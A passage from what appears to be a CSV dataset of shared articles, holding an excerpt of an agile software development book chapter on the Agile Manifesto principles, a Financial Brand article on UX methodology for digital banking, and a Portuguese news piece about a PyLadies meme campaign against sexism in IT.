code-and won't have to get sidetracked managing documentation. Principle #5: Businesspeople and Developers Must Work Together Daily Throughout the Project. Agile teams sometimes forget that the businesspeople they work with have day jobs. This leads to a natural disconnect between software teams and the businesspeople they build software for. To build software well, teams need to have a lot of face-to-face discussion with businesspeople, because they need to tap into their knowledge of the company's problems that are going to be solved with software. The businesspeople got that knowledge by solving those same problems without software. So for most businesspeople who work with software teams, the software project is typically a small part of their job. For most of them, in an ideal world, the team would have very little contact with them. They'd have a meeting or two, figure out what the software needs to do, and then come back a short time later with perfect, working software. The teams, on the other hand, want as much contact with the businesspeople as possible. Programmers need to learn about the business problem that needs to be solved. They do this by talking to businesspeople, watching them work, and looking at what they produce. A programmer who needs this information would love to have each businessperson's full-time attention. The longer they have to wait to get their questions answered, the slower their projects progress. But the businesspeople don't want to spend all of their time with the software team, because they have jobs to get back to. So who wins? Agile teams have a way past this problem that lets both the businesspeople and the developers win together. They start with an understanding that the team is delivering valuable software to the company. The finished software is worth money to the company. If that value is more than the cost to build the software, it's worth it for the company to invest in its development. A good project should be valuable enough that the businesspeople can see that it's worth the effort they'll need to put in over the course of the project. Figure 1-4. Some features in the backlog are more valuable to the company than others. The team has to balance the value (how much a feature is worth) against the cost (how much work it takes to build) when they determine which ones to include in each iteration. When businesspeople and developers build software as a team, it's most efficient in the long run to work together daily throughout the project. That's because the alternative is to have the businesspeople wait until late in the project to look over the team's work and give feedback, and it's much more expensive to make changes at the end of the project. It takes a lot less of everyone's time if they catch those changes as early as possible. Working daily with the team actually requires less of each businessperson's time over the course of the project. This is why teams that deliver working software frequently should prioritize the most valuable features first-so the businesspeople can get that value delivered early. It's part of the bargain. It's also why good agile teams consider the businesspeople to be an important part of the team, and equal members with the programmers. That's a big distinction between an agile team and a traditional team. The traditional team treats the business user as a customer to be negotiated with; the agile team collaborates with the customer (typically the product owner) as someone with an equal say in the way the project is run. (That gets back to the core agile value of customer collaboration over contract negotiation!) A good product owner can help reduce the amount of time the businesspeople spend with the team. They still need to meet daily, but the product owner can concentrate on understanding the value of the software and the business problem that needs to be solved. That way, the team can use their face-to-face time with the businesspeople to validate information that they've already learned from the product owner. Principle #6: Build Projects Around Motivated Individuals. Give Them the Environment and Support They Need, and Trust Them to Get the Job Done. Projects run best when everyone in the company recognizes that the team is building valuable software, and when everyone on the team-including the product owner-understands what makes the software valuable to the company. On the other hand, projects can break down in an environment where people don't see the value in the software, or where they aren't rewarded for building the software well. It's actually not uncommon for companies to set up performance reviews and compensation systems that discourage people from building software in an effective, agile way, and this can work against the project. Some common ""incentives"" that work against agile teams include: Giving programmers poor performance reviews when code reviews routinely turn up bugs, and rewarding them for ""clean"" code reviews. (This just leads programmers to stop finding bugs in code reviews.) Rewarding testers for the number of bugs that they report. (This encourages nitpicking and poor reporting, and discourages them from partnering with the programmers, because it sets up an antagonistic relationship between them.) Basing business analysts' performance reviews on the amount of documentation they produce (rather than the amount of knowledge they've shared with the team). Ultimately, everyone's performance should be based on what the team delivers, rather than the specific role that they played in it. Now, that's not to say that a programmer who does a poor job or is disruptive shouldn't be called out for it in a review with his boss. People should be reviewed based on their contribution (or lack thereof) toward the whole team's goals. But they should definitely not be discouraged from looking beyond the strict confines of a specific role. A good environment for a team will reward a programmer who recognizes a part of the business problem that isn't being addressed and fixes it, or a tester who sees a problem with the code or architecture and raises that with the team. An environment like this gives everyone on the team the support they need, and makes the project more successful. Comprehensive documentation and traceability matrices are a particularly insidious source of problems with a team's environment and support. Instead of encouraging an environment of trust, they encourage a ""cover your ass"" (CYA) attitude in which teams move toward a ""contract negotiation"" approach, rather than customer collaboration. A tester with a CYA attitude will spend time making sure every requirement has a test, whether or not it does anything to actually help the quality of the software. Developers will CYA by adhering to the letter of the requirement, without bothering to think about whether or not it actually delivers value to the users-because if they're working in a CYA environment, trying to build what the customer actually needs can get them dinged for not building the software to spec. Business analysts and product owners will CYA by spending their time making sure that the scope and requirements line up perfectly, and often find themselves tempted to omit pesky requirements that don't align perfectly with the existing documentation, regardless of their value. Software team members need to CYA most in an environment where change is seen as a bad thing. For a team that uses comprehensive documentation, it's easy to see change as a bad thing, because it requires so much work to revisit the scope, update the specs, alter the design, repair the traceability matrices, etc. This leads to a divisive environment, because managers in that sort of company will naturally try to find a ""culprit"" who can be blamed for all that extra work caused by the change. People on the team increasingly turn to ""defensive documentation"" to protect themselves when that blame inevitably comes around to them. This forces everyone on the team to CYA, so they can point to the part of the documentation that they were sticking to, in order to avoid a poor performance review or punishment. The opposite of CYA is trust. A company that develops only the minimal documentation needed for the project has an environment where the team is trusted to do the right thing when a change happens. An agile team with a ""we're all in this together"" attitude, where if the project fails everyone shares the blame, doesn't need to CYA. It's easier for them to handle changes, because they don't need to maintain all of that unnecessary documentation. Instead, they can tackle the actual problem with face-to-face communication, and only write down what's necessary. And they can do this knowing that the company trusts that they're doing the right thing- even if it causes the project to take longer . Better Communication for the Ebook Reader Project Our ebook reader project could definitely have benefited from better communication. Remember the days of intense meetings where the business analysts carefully pieced together an extensive set of comprehensive requirements? The requirements didn't start out as a cynical CYA scheme. Everyone on the team genuinely thought that by arguing out every minute aspect of the software for days, they would cover all of their bases, and that would lead to the best possible product. Because they had spent all that time up front, they were able to stick to their guns and defend the original spec, even when it seemed like the end product might not be viable on the market. And if they'd been able to predict exactly what the market needed two years in advance, it would have worked out perfectly! Too bad it didn't work out that way-but at least nobody lost their jobs, because they could all point to the spec that they implemented precisely. What would have happened had they used better communication from the beginning? How would the product have changed if instead of writing comprehensive requirements, the team had written down the minimum amount of documentation they needed to get started? Figure 1-5. When the team relies more on face-to-face communication, and only uses the minimal amount of documentation needed to build the project, it's easier for everyone to stay in sync with each other. They would have had to trust each other to make the right decisions along the way. This would have helped a lot when it came time to work on the ebook format, because they wouldn't have been tied to an outdated format specified at the beginning of the project, and they could have adopted the newer format instead. Even better, by the time they started work on the Internet storefront, it might have been obvious that it wasn't a good idea, and they could have simply abandoned it-which isn't an option if it's part of a specification that the team is on the hook for. Better communication would have let them keep the project up to date, and could have delivered a more valuable product. Let's imagine that this happened for the ereader team. Now our team is much happier with the documentation that they're writing, because it's much less of a burden. They thought they'd save lots of time by communicating better and cutting out unnecessary documents. But what happens if even though they've done this, the project still isn't on track? Somehow, that time savings never materialized. It seems like they're putting in more nights and weekends than ever before, trying to include all of the features that the product owner had promised in each timeboxed iteration. It seems that the more agile they get, the more work they have to do, and the more nights and weekends they spend away from their families. This can't be an improvement! Is there something they can do to fix this, before the team burns out for good? Key Points Overly comprehensive documentation increases the risk of ambiguity, misunderstanding, and miscommunication between team members. Agile teams communicate most effectively when they focus on face-to-face conversation and rely on the minimum amount of documentation necessary for the project (Principle #4). Developers work with business users every day so that they can deliver the most value (Principle #5). Everyone on the agile team feels responsible for the project, and feels accountable for its success (Principle #6). Project Execution-Moving the Project Along Better communication and trust between everyone on the team is a great start. Once everyone gets along and knows how they fit into the project, they can start thinking about the biggest problem: actually doing the work every day. How does an agile team keep the project moving? Principle #7: Working Software Is the Primary Measure of Progress. A good team works to make sure that everyone-team members, managers, stakeholders, and customers-really understands where the project is at any time. But how do you actually communicate the status of a project? It's a much more difficult problem than it might seem at first. A typical command-and-control project manager tries to keep the project on course and keeps everyone up to date with extensive schedules and status reports. But it's hard to capture the real ""essence"" of a project in a status report. The report itself is an imperfect communication tool: often, three different people can read the same status report and get three totally different impressions of where the project is. And status reporting can be highly politically charged for a project manager. Almost every project manager occasionally finds himself or herself under pressure to leave something off of a status report that will make a manager or team lead look bad-and it's always a piece of information that someone else needs in order to make a decision. So how do you report progress, if status reports aren't good enough? The answer lies in working software. The minute you actually see the software working in front of you, you ""get"" it. You can see what the software does, and what it doesn't do. If a manager promised to deliver something that didn't make it into the software, it might be embarrassing-but it's impossible to not communicate that, because the software speaks for itself. Figure 1-6. Working software is better than progress reports for giving everyone the latest update on the project's status, because it's the most effective way for the team to communicate what they've accomplished. This is one reason why agile teams use iterative development. By delivering working software at the end of each iteration, and by doing a real product demonstration that shows everyone exactly what the team did, they keep everyone up to date on the progress of the software in a way that is almost impossible to misread. Principle #8: Agile Processes Promote Sustainable Development. The Sponsors, Developers, and Users Should Be Able to Maintain a Constant Pace Indefinitely. The ebook reader team isn't the first project team to work insane hours in order to meet an unrealistic deadline. In fact, the hard-and-fast deadline is the primary tool in the command-and-control project manager's toolbox. Whenever a deadline is approaching, everyone turns to nights and weekends as the first resort. An unrealistic deadline can be an underhanded tool to force more work out of a team by squeezing extra hours out of every week. Except that in the long run, it doesn't work. It's well known that a team can crunch for a few weeks and get more work done, but after that their productivity typically falls off a cliff. This makes sense: people get tired and demotivated, and fatigue starts to set in. All of those errands and life events they pushed off have to force their way back in somehow. In fact, teams that work extreme amounts of overtime for an extended period actually deliver less work than teams that work normal, sane hours-and it's usually of lower quality. This is why agile teams believe in maintaining a sustainable pace . They should plan on delivering work that can actually be done in the time they reserve for it. Iterative development makes this more realistic, because it's a lot easier to estimate how much software they can deliver in the next two, four, or six weeks than it is to estimate how much they can deliver in the next year and a half. By promising to deliver only what they can build, the team creates an environment where late nights and weekends are rare. 5 Principle #9: Continuous Attention to Technical Excellence and Good Design Enhances Agility. Poor estimates aren't the only cause of late nights and weekends. Most developers recognize that sinking, pit-of-the-stomach feeling that comes with the realization that a seemingly simple bit of coding turned out to be a nightmare to design. There go the next three weekends, which will now be spent tracking down bugs and patching up code. It's a lot faster in the long run to avoid a bug now than it is to fix it later. And it's a lot easier to maintain code that's well designed, because well-designed code is built in a way that's easy to extend. The last two decades or so have brought us a revolution in software design. Object-oriented design and analysis, design patterns, decoupled and service-oriented architecture, and other innovations have given developers patterns and tools to bring technical excellence to every project. But this doesn't mean that agile teams spend a lot of time creating large-scale designs at the start of every software project. Agile developers build up great coding habits that help them create well-designed code. They're constantly on the lookout for design and code problems, and take the time to fix those problems as soon as they're discovered. By taking a little extra time during the project to write solid code and fix problems today, they create a codebase that's easy to maintain tomorrow. A Better Working Environment for the Ebook Reader Project Team Your ebook team-and their spouses-would definitely have appreciated a sustainable pace. But the project itself would also have come out better. The team was doomed to late nights and weekends from the very first day of the project, because they simply didn't have the tools to create a realistic plan that would remain accurate a year and a half later. What's worse, because the team laid out software design and architecture that was built to support a very detailed specification at the beginning of the project, they ended up with very complex code that was difficult to extend. This caused many of the little changes along the way to require large patches that left spaghetti code throughout the codebase. Had the team followed an iterative approach and delivered working software along the way, they could have planned each iteration so that they could keep a sustainable pace. A simpler, more just-in-time approach to the architecture could have allowed a more flexible and extensible design. Had they used better design, architecture, and coding practices, they would have ended up with code that's easier to maintain and extend. Let's imagine that our ereader team has applied these new principles, and now they're a well-oiled software-producing machine. They're iterating and delivering working software regularly, and they're constantly adjusting to make sure they're always building the most valuable software they can. They're communicating well, and only documenting what they need to document. They're using great design practices, and building a maintainable codebase. And they're doing it all without having to work overtime. Our team has gone agile! But the storm clouds are already gathering around the next project. A new project manager just sent out an invite to a giant meeting with everyone he can find. The meeting participants start to accept the invites, rooms get booked, and arguments about all of the requirements that need to be documented start flying around...and everyone on our newly minted agile team starts to get that ""pit of the stomach"" feeling. They know what's coming. The first of the many specs, plans, and Gantt charts are just starting to circulate. How can they make sure the next project doesn't hit those same pitfalls they worked so hard to climb out of? Key Points The most effective way to communicate the progress of the project is to deliver working software and put it in the hands of the users (Principle #7). Teams are most productive when they work at a sustainable pace and avoid heroics, shortcuts, and overtime (Principle #8). Software that's designed and implemented well is fastest to deliver because it's easiest to change (Principle #9). Constantly Improving the Project and the Team One of the most basic design principles-not just in software, but in all of engineering-is KISS (""keep it simple, stupid""). An agile team lives by this principle in the way they plan the project, build the software, and run the team. Principle #10: Simplicity-the Art of Maximizing the Amount of Work Not Done-Is Essential. Adding code to an existing project often makes it more complex, especially when you then add even more code that depends on it. Dependencies between systems, objects, services, etc., make code more complex and difficult to change: the dependencies increase the likelihood of one change cascading out to another part of the system, which then requires changes to a third part of the system, creating a domino effect of increasing complexity for every change. Using iteration and building the minimal documentation at the start of the project helps your team avoid delivering unnecessary software. However, a lot of developers feel a little uncomfortable when they first hear phrases like ""use iterative development,"" and ""do the minimal amount of planning needed to start the project."" They feel like it's too early to start the code for a project until they've made a lot of the design and architecture decisions and written them down-otherwise the team will write code today that they'll need remove tomorrow when the design changes. This is an understandable reaction, because for many projects outside the realm of software development, this wouldn't make sense. It's not uncommon for a programmer who's new to agile to raise an objection like this: ""If I'm having a contractor renovate my house, I want to see the complete blueprints first. I don't want him to have a quick discussion with me, and then start knocking down my walls."" This argument makes sense for home renovation. The reason is that when you're making a change to a house, the most destructive thing you can do is pick up a sledgehammer and break down a wall. But software projects are different from houses or other physical objects. Deleting code is not particularly destructive, because you can usually just recover it from the version control system. The most destructive thing you can do to your project is to build new code, and then build more code that depends on it, and then still more code that depends on that, leading to that painfully familiar domino effect of cascading changes...and eventually leaving you with an unmaintainable mess of spaghetti code. Maximizing the amount of work not done means avoiding this mess-and the best way to do this is by building systems that don't have a lot of dependencies and unnecessary code. The most effective way to do this is to work with your customers and stakeholders to only build the most useful and valuable software. If a feature is not valuable, it's often cheaper for the company in the long run to not build it at all, because the cost of maintaining the additional code is actually higher than the value it delivers to the company. When teams write code, they can keep their software designs simple by creating software designs based on small, self-contained units (like classes, modules, services, etc.) that do only one thing; this helps avoid the domino effect. 6 Principle #11: The Best Architectures, Requirements, and Designs Emerge from Self-Organizing Teams. Overly complex designs are common in teams that do too much up-front planning. This isn't surprising when you think about it. Flip back to the picture of the waterfall process in Chapter 2 . There's an entire phase dedicated to requirements, and another phase dedicated to design and architecture. Doing the best job possible while you're in the design and architecture phase must mean building the most awesome architecture the team can come up with. For a team that works this way, having few requirements and a simple design intuitively feels to them like they're short-changing the project. Is it any wonder that they come back with a large requirements document and a complex design? Of course not, because that's exactly what they're explicitly being asked to do, by having entire phases of their process devoted to those things. A self-organizing team , on the other hand, does not have an explicit requirements or design phase. When a team is self-organizing, it means that they work together to plan the project (instead of relying on a single person who ""owns"" the plan), and they continually come together as a team to revise that plan. A team that works like this typically breaks the project down into user stories or other small chunks, and starts working on the ones that deliver the most value to the company first. Only then do they start thinking about detailed requirements, design, and architecture. This makes the traditional software architect's job more difficult, but also more satisfying. Traditionally, a software architect sits in an office with a closed door and thinks abstractly about the problems that need to be solved. Obviously, many architects are not like this, but it's definitely not atypical for an architect to be somewhat disconnected from the day-to-day work of the team. On an agile team, everyone shares responsibility for the architecture. A senior software architect or designer still has an important role to play-but it is no longer one where he or she can work in isolation. In fact, when a team is building the software piece by piece, starting with the most valuable chunks, the architect's job becomes more challenging (but often more interesting). Instead of creating one big design at the beginning of the project that covers all of the requirements, agile architects use incremental design , which involves techniques that allow them to design a system that is not just complete, but also easy for the team to modify as the project changes. Principle #12: At Regular Intervals, the Team Reflects on How to Become More Effective, Then Tunes and Adjusts Its Behavior Accordingly. A team isn't agile until they're constantly improving the way they build software. Agile teams constantly inspect and adapt-they look at how their projects have run, and they use that knowledge to improve in the future. And they don't just do this at the end of the project; when they meet every day, they look for ways to change, and they'll change the work that they're currently doing if it makes sense. 7 You need to be comfortable being brutally honest with yourself and your teammates about what's working and what isn't. This is especially important for teams that are just beginning down the road of agile development. The only way to become more capable as a team is to constantly look back at what you've done so far, to assess how well you're working as a team, and to come up with a plan for getting better. This makes sense, and almost everyone agrees that it's a good thing to do. But looking back and taking stock of what went right and wrong is one of those things that many teams genuinely intend to do, but rarely actually get around to doing. One reason is that it's uncomfortable at first. It often involves looking at specific problems and mistakes, and very few people are comfortable publicly pointing out the mistakes that the other people on their team made. Over time, people on the teams get more and more comfortable talking about these things. Eventually, everyone starts to see this as more constructive than critical. Another reason that teams don't do this reflection is that they never set aside the time to do it-or even if they set aside the time, getting a head start on the next project seems more important than thinking about the one that's done. Teams that start each project by reserving time both at the end of each iteration and at the end of the project to meet, review, assess, and come up with a plan for improvement are more likely to actually meet and talk about how they did. This helps them learn from their experiences and become more effective. Key Points Agile teams keep their solutions as simple as possible by avoiding building unnecessary features or overly complex software (Principle #10). Self-organizing teams share responsibility for all aspects of the project , from conceiving the product to project management to design and implementation (Principle #11). By taking the time to look back and talk about lessons they learned after each iteration and also at the end of the project, agile teams constantly get better at building software (Principle #12). The Agile Project: Bringing All the Principles Together Agile is unique in the history of software engineering. It's unlike the waves of ""silver bullet"" methodologies over the years, which promised to solve your team's software problems through a combination of magic practices, brilliant software tools, and, not infrequently, large invoices from consulting companies. One difference between teams that only get better-than-not-doing-it results and teams that get a much more substantial benefit from agile is that the team that uses agile more effectively recognizes that the practices aren't just a ""menu"" to choose from. The key to using these practices together is the mindset that the team brings to the project-and that mindset is driven by the agile values and principles. Agile is different because it starts with values and principles. A team going agile has to look honestly not just at the way they build software, but also at the way they interact with each other and the rest of their company. By first understanding the principles, and only then applying a methodology-with the full understanding that it will take work, and a lot of assessment and improvement along the way-an agile team can be realistic about finding better ways to run their projects. This gives them a real path to increased agility, and lets them build and deliver better software. Frequently Asked Questions Things You Can Do Today Where You Can Learn More Coaching Tips Tips for agile coaches helping their team to work with the ideas in this chapter: Help the team to recognize that working very long hours causes them to build less code, not more, and they don't build it as well. Sit down with individual team members and talk about their jobs. What motivates them? What frustrates them? What drives the decisions they make? Ask individual team members to choose the three agile principles that most affect them, in either a positive or negative way. People will be surprised that their teammates chose different principles; this will help you find the common ground between everyone. Use the principles that everyone has in common as a starting point to figure out which practices best match the team's mindset. Here are resources to help you learn more about the ideas in this chapter: You can learn more about the values and principles of the Agile Manifesto and how it was created in Agile Software Development: The Cooperative Game , 2nd Edition, by Alistair Cockburn (Addison-Wesley, 2006). You can learn more about value, iteration, and other aspects of agile project management in Agile Project Management: Creating Innovative Products , 2nd Edition, by Jim Highsmith (Addison-Wesley, 2009). You can learn more about challenges teams face in going agile, and how they can overcome them, in Succeeding with Agile , by Mike Cohn (Addison-Wesley, 2009). You can learn more about getting past the command-and-control mindset in Coaching Agile Teams , by Lyssa Adkins (Addison-Wesley, 2010). Here are a few things that you can try today on your own or with your team: If you're in the process of building a project now, sit down with your team before you start working on the code and spend 15 minutes talking about what features you'll be building. Can you find any cases where two people have different ideas about what they're about to build? Write down a list of the features that you are currently working on. Try to organize them by value and difficulty. Take a few minutes and write down a list of all of the documentation that you and your team generate or consume. Can you spot anything that isn't actually used by the team to build the code? Next time you're working late, think about what caused you to have to stay late. Can you come up with something you and your team could have done to prevent it? Was a deadline too aggressive? Was extra work added at the last minute? Recognizing that this is a problem and taking the time to understand what's causing it is the first step toward fixing it. I'm a ""rock star"" developer, and I just need people to get out of the way so I can build great software! Why do I need to think about things like task boards and burndown charts? All great developers have faced the frustration of building a great piece of code, only to have to rip it apart and patch it up because someone who doesn't know anything about how code is built asked for a change at the last minute. To someone who really cares about the craft of programming, it's really frustrating to make unnecessary technical compromises rather than building the code correctly from day one, just because some non-developer couldn't be bothered to think about what they needed until halfway through the project. That's why so many great developers are drawn to agile teams. Yes, it means that you need to care about planning, and get used to using planning tools like task boards and burndown charts. Agile methodologies are built on practices like that-and those practices are selected specifically because they are simple, and stripped down to the bare minimum that's necessary to effectively plan and run a project. One big payoff that you get when you get involved with planning the project (and actually care about it!) is that you can help avoid those frustrating last-minute changes by asking the tough questions that need to be asked while the project's still being planned. This only works because effective agile teams constantly communicate with their users from the beginning of the project. A lot of good developers are sold on the idea of planning the first time they ask one of their users a tough question that triggers a change that would otherwise have come late in the project. Avoiding that same old aggravating, last-minute, rip-and-patch coding turns out to be a great sales pitch for adopting agile. Agile planning is also about communicating with the rest of the team, and that can really help great developers improve. ""Rock star"" developers are always learning, but on a command-and-control team they're isolated from their teammates, so most of that learning has to be self-directed. A self-organizing team, on the other hand, does a huge amount of communication-but not those endless, useless status meetings that developers often hate being forced to attend. Instead, team members decide for themselves what they need to talk about in order to do the project right . Not only does this lead to better projects, it also means that if the developer sitting next to you has some knowledge that you could learn from, there's a good chance that you'll end up knowing it by the end of the project. For example, if the guy next to you was applying, say, a new design pattern to his work in a way that you hadn't seen before, you'll know by the end of the project whether or not it was a good idea. If it was a good idea, then you'll be able to add it to your toolbox. That's learning that happened automatically, without any extra effort on your part, all because the whole team is communicating effectively. That's one reason why developers who embrace agile often find themselves becoming technically better, and feel like they're constantly improving at the craft of programming. I'm a project manager, and I'm still not clear on how I fit into an agile team. What's my role in all of this? If you're a project manager, it's likely that you fall into one of three traditional project management roles: An ""in the weeds"" planner who gets estimates, builds project schedules, and directs the day-to-day work of the team A product expert, possibly playing a business analyst role, who determines the requirements, communicates them to the team, and ensures that they build software that satisfies them A supervisor who works with the senior managers and executives in your company to keep them informed of how their investment in the project is paying off In Chapter 4 , you'll learn about Scrum, the most common agile methodology, and about the roles found on a Scrum team. If you're a manager who gets your hands dirty and dives into the details with the team, then the role of Scrum Master is likely to be a good fit. The Scrum Master's job is to help the team plan, and to get roadblocks out of their way throughout the project so they can deliver the software. On the other hand, if your job is to understand what the company needs and communicate that to the team, then you're more likely to end up as a product owner. In that case, your job would be to manage the backlog, decide what features should go into each iteration, and answer the team's detailed questions throughout the project so that they stay on track and build the right software. If you're a project manager who plays a supervisory role, you typically won't end up on an agile team, but that's OK. Instead, you'll have one of the most important roles to play as an agile champion, pushing your teams and your managers to adopt agile practices and promoting agile values. You'll recognize that when you have a backlog of features divided into iterations, along with the details that you have for the current iteration, you have at your fingertips the right level of detail that you need to communicate with your executives and senior managers. And the more that the project teams have a sense of their progress and how well they're meeting the project goals, the better a job they can do of giving you a realistic understanding of that progress. But to do this effectively, you'll need a good understanding of how agile teams work, so that you can speak their language and process the information they give you into a form that your executives can understand. Wait a minute. If the whole team plans together, then does that mean nobody's in charge? That would be really impractical. How are decisions made? That depends on what decisions are being made. If you're asking about resolving conflicts, then that should happen exactly the way it happens for your team today. Think about your current team, or the last project team you were on. Who was in charge? Who resolved disputes and disagreements that couldn't be resolved between team members? Who reviewed your performance? There are many, many ways that a company hierarchy can be created, and an agile team should be able to work within any hierarchy. However, agile teams tend to be better at resolving conflicts themselves, because they focus on communicating with each other, and they're aligned to the same goals much more effectively than other kinds of teams. On the other hand, if you're asking about who decides what features will go into the software or how those features will be built, that's typically handled by people with specific roles on an agile team. On a Scrum team, the Product Owner has the authority to decide what features will go into the software. However, the team only has to accept those features that can fit into an iteration based on real information. You'll learn more about this in Chapter 4 . The plan, however, is owned by the entire team, because they're self-organizing. But just because the plan is owned by the team, that doesn't mean there isn't a boss. Of course there's a boss . If you're just going agile now, your boss in a year will probably be the same person as your boss today-the difference is that he or she believes in agile enough to give the team the authority to make project-related decisions, and will stand behind those decisions without trying to micromanage or second-guess them. That's the only way any of this can work in the real world. 1 There's some debate over whether Henry Ford actually said this, but almost everyone agrees that he would have liked it. 2 Alistair Cockburn, Agile Software Development: The Cooperative Game , 2nd Edition (Boston: Addison Wesley, 2006). 3 Source: agilemanifesto.org/principles.html (as of June 2014) 4 To be completely fair, traditional project managers also recognize that documentation is just another form of communication. A typical project manager studies the difference between formal and informal communication, as well as the difference between written and verbal communication. They also study nonverbal cues in communication, and learn that face-to-face communication is the most effective means of getting ideas across. This is actually covered on the PMP exam! 5 This is a good example of the simplification we told you about in Chapter 1 . Right now, we'll just tell you that ""sustainable pace"" means giving the team enough time to build the software so that they can keep sane hours, and not work nights and weekends. Later in the book, we'll go into details about exactly what a sustainable pace does to the team's working environment and the company's culture, and the effect that it has on the quality of the software they produce. 6 Here's another simplification. We'll talk a lot more about exactly how teams can build great code without creating large designs up front, what effect that has on their projects, and how they can do this while still embracing project changes later on. 7 Here's another simplification. Right now we'll just introduce the idea that agile teams inspect and adapt. In Chapter 4 , you'll learn exactly how this works on a Scrum team, and what this has to do with self-organizing teams.",en
1485516437,CONTENT SHARED,-6289909056857931861,5660542693104786364,8781443969905471446,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://thefinancialbrand.com/63447/digital-banking-ux-methodology/,Engineering Digital Banking Solutions Using UX Methodology,"To implement a strong user design methodology, you must have a disciplined designer-developer UX workflow that leads to quality implementation delivered on, or before, deadline. Today, everyone is talking about customer and user experience designing in banking, but far fewer are practicing it. One of the most popular questions being asked design firms is about engineering methodology. While different firms may have different workflows to engineer using UX methodology, this is the workflow we use at UXDA. Before you start any project, you need to know what success will look like. What do you ultimately want to achieve and how will you measure success? It is imperative that everyone on the team agrees to the ultimate goal. Then document the goal and refer to it daily. It is easy to get derailed and distracted with so much change in the marketplace and so many options. The team will only succeed with discipline and focus. An agreed upon workflow helps to keep the team on track. 1. Find Pain Points Through User Research Let's start reinventing your service banking experience through research of some of the real life banking ""pains"" that people feel. To do so, you can conduct quantitative and qualitative research, or even buy customer reports published by research companies. Don't forget about social network feeds, where there are a lot of complaints about the ""pain"" of banking. 2. Develop Inner Sense of an Ideal Solution Next, you will need to find out what industry experts think about ideal banking solutions. To do so, you can check Slideshare with plenty of presentations covering how digital banking should work. Also, you should explore banking industry publications, such as The Financial Brand , to get the best in financial expert opinions and forecasts. Finally, definitely check out best rated banking and fintech mobile solutions in Apple's AppStore and Google Play. Extract the ideal solution principles list from your findings. Then take these principles into account and rely on them to develop strategy and architecture. These will be important factors, forming the key performance indicators (KPI) used to check the quality of your solution strategy. 3. Analyze Competitive Solutions Analyze competitors to compile a list of existing banking products and digital banking functions available to your target customers. This will add sense of context to your UX design process. You need to consider how users will perceive your solution on a background of similar services. Explore general patterns and ""killer"" features. 4. Bring Passion Into User Experience Engineering We analyze many features, but we also need something more emotional. Something that will make customers love your digital banking, inspire them, and enable them to truly enjoy and benefit from the experience. So, you should find out what their passions are. Through interviews and polls, you could understand consumer needs and interests. Something that they care about the most. 5. Identify Typical Key Personas You need to feel what customers feel, so walk in their shoes. To achieve that, clarify all typical characters and draw some user storyboards. Use cognitive psychology to make your characters live, show their problems, intentions, motivations, etc. This will help you to evaluate your solution later from concrete user perspectives. 6. Prioritize Red Route Tasks Next, identify red route tasks. We have to understand what people want from your digital banking solution. How they will use it to solve their problems. These are key scenarios that we must deliver with maximum speed and simplicity. Actually, we can refer to Pareto here and approve that only 20% of functionality is used by 80% of customers. So, you need to find those key scenarios and make them extremely intuitive and usable. This will generate delightful experience for the majority of your users. 7. Map an Ideal User Journey We know our business goals, KPIs, and features list, as well as the pains, passions, and needs of our customers. Now it is time to connect the dots on the User Journey Map to help generate your ideal banking user experience. A User Journey Map combines business and user research data into a visible step-by-step sequence. Use it to identify bottlenecks, key features, and gain insights about your service from user perspective. With User Journey Maps, you will be able to generate an overall service vision and a UX strategy which will help you to create an intuitive and simple service Information Architecture. Also, you can use card sorting to test it on your customers. 8. Wireframe an Ideal Banking Service At this stage, you will be able to achieve clear vision of how your service should work from target customer perspective, according to your business strategy. The final step of UX engineering is to map interactions and create wireframes, making clear vision of how users will interact with product to fulfill their needs. Wireframes deliver the first touch of an ideal product as it should work. Wireframes are used to test the core hypothesis about a solution and check key scenarios from the red route list. It will help you to get an early feedback. After corrections, you will be ready to implement your ideal banking product vision into user interface design. All content © 2017 by The Financial Brand and may not be reproduced by any means without permission.",en
1485525147,CONTENT SHARED,991271693336573226,3106760029136205156,-5854718852758691534,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.brasilpost.com.br/2017/01/23/meme-luiza-esta-atenta-machismo-area-de-ti_n_14336764.html,Este é o melhor jeito de entender como as mulheres sofrem machismo na área de TI,"Publicado: A conversa de WhatsApp entre duas amigas explicando o poder da família Kardashian , ""Luiza, você está atenta"", é o meme perfeito para explicar qualquer situação, inclusive as mais delicadas, como o preconceito. E foi com esta ideia que o PyLadies Teresina reformulou o meme para debater o machismo no mercado de TI (Tecnologia da Informação). O projeto foi criado para estimular mulheres a seguirem carreira no mercado de computação, uma área predominantemente masculina. Segundo dados do estudo Stack Overflow Developer de 2015, 92,1% dos profissionais de TI são homens . O baixo índice de mulheres no mercado não é justificado pela falta de interesse. De acordo com o PrograMaria, na escola, 74% das meninas demonstram interesse nas áreas de Ciência, Tecnologia Engenharia e Matemática, mas na hora de escolher a graduação, apenas 0,4% delas realmente rseguem essas áreas, o que significa que há uma grande barreira social nestas profissões. Pensando nisso, o projeto utilizou o meme ""Luiza, você está atenta?"" como ferramenta para propagar como a área de TI pode ser hostil com as mulheres. ""Você tá achando que as mulheres vão deixar o machismo na área de tecnologia barato? BANG, Luiza! A gente cria várias redes de mulheres pra ocupar esses espaços!"", escreveu o projeto no post do Facebook, que acabou viralizando : LEIA MAIS: - País com menor desigualdade de gênero, a Islândia está chocada com a morte desta jovem - Esta é a melhor explicação para quem não entende nada da família Kardashian",pt
